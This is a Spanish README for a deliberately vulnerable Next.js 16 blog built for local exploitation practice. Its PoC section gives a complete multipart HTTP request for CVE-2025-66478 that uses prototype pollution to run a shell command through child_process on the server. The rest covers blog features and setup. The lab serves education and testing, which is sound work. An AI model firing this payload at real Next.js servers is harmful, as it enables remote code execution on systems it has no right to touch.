Blog Moderno con shadcn/ui

Un blog moderno y elegante construido con Next.js 16, React 19, shadcn/ui y Tailwind CSS.

IMPORTANTE:

Proyecto de Next JS VULNERABLE creado solo para fines educativos, de pruebas y explotación, NO SE RECOMIENDA INSTALACIÓN EN PRODUCCION, SÓLO PARA ÁMBITO LOCAL O ENTORNO CONTROLADO

PoC

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Reference: github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478

Características

🎨 Diseño Moderno: Interfaz elegante construida con shadcn/ui
📝 Blog Completo: Múltiples artículos de blog con contenido mock
💬 Sistema de Reacciones: Reacciona a los posts con diferentes emociones (like, love, laugh, wow, sad, angry)
👤 Autenticación: Sistema de registro e inicio de sesión usando localStorage
🎯 Responsive: Diseño completamente responsive
🌙 Modo Oscuro: Soporte para modo oscuro automático

Tecnologías

Next.js 16 - Framework React
React 19 - Biblioteca UI
shadcn/ui - Componentes UI modernos
Tailwind CSS 4 - Estilos utilitarios
TypeScript - Tipado estático
Lucide React - Iconos
Radix UI - Componentes accesibles

Instalación

Instala las dependencias:

npm install
# o
yarn install
# o
pnpm install

Ejecuta el servidor de desarrollo:

npm run dev
# o
yarn dev
# o
pnpm dev

Abre http://localhost:3000 en tu navegador.

Estructura del Proyecto

├── app/                    # Páginas de Next.js
│   ├── blog/[id]/         # Página de detalle del blog
│   ├── profile/            # Página de perfil
│   ├── layout.tsx          # Layout principal
│   └── page.tsx            # Página principal
├── components/             # Componentes React
│   ├── auth/              # Componentes de autenticación
│   ├── blog/              # Componentes del blog
│   ├── layout/             # Componentes de layout
│   └── ui/                 # Componentes shadcn/ui
├── lib/                    # Utilidades y servicios
│   ├── auth.ts            # Servicio de autenticación
│   ├── mocks.ts           # Datos mock
│   └── utils.ts           # Utilidades generales
└── public/                 # Archivos estáticos

Funcionalidades

Autenticación

Registro de nuevos usuarios
Inicio de sesión
Almacenamiento en localStorage
Perfil de usuario

Blog

Lista de artículos en la página principal
Página de detalle para cada artículo
Información del autor
Categorías y tags
Imágenes de portada

Reacciones

Ver todas las reacciones de un post
Reaccionar con diferentes emociones
Contador de reacciones por tipo
Lista de usuarios que reaccionaron

Datos Mock

Todos los datos (blogs, usuarios, reacciones) son completamente mock y se generan dinámicamente. No se requiere una base de datos.

Notas

Las credenciales de usuario se almacenan en localStorage
Los datos se regeneran en cada recarga de la página
El sistema de reacciones es solo visual (no persiste las nuevas reacciones)

Licencia

Este proyecto es solo para fines educativos.

cve-2025-66478_rce_vulnerable

Más Populares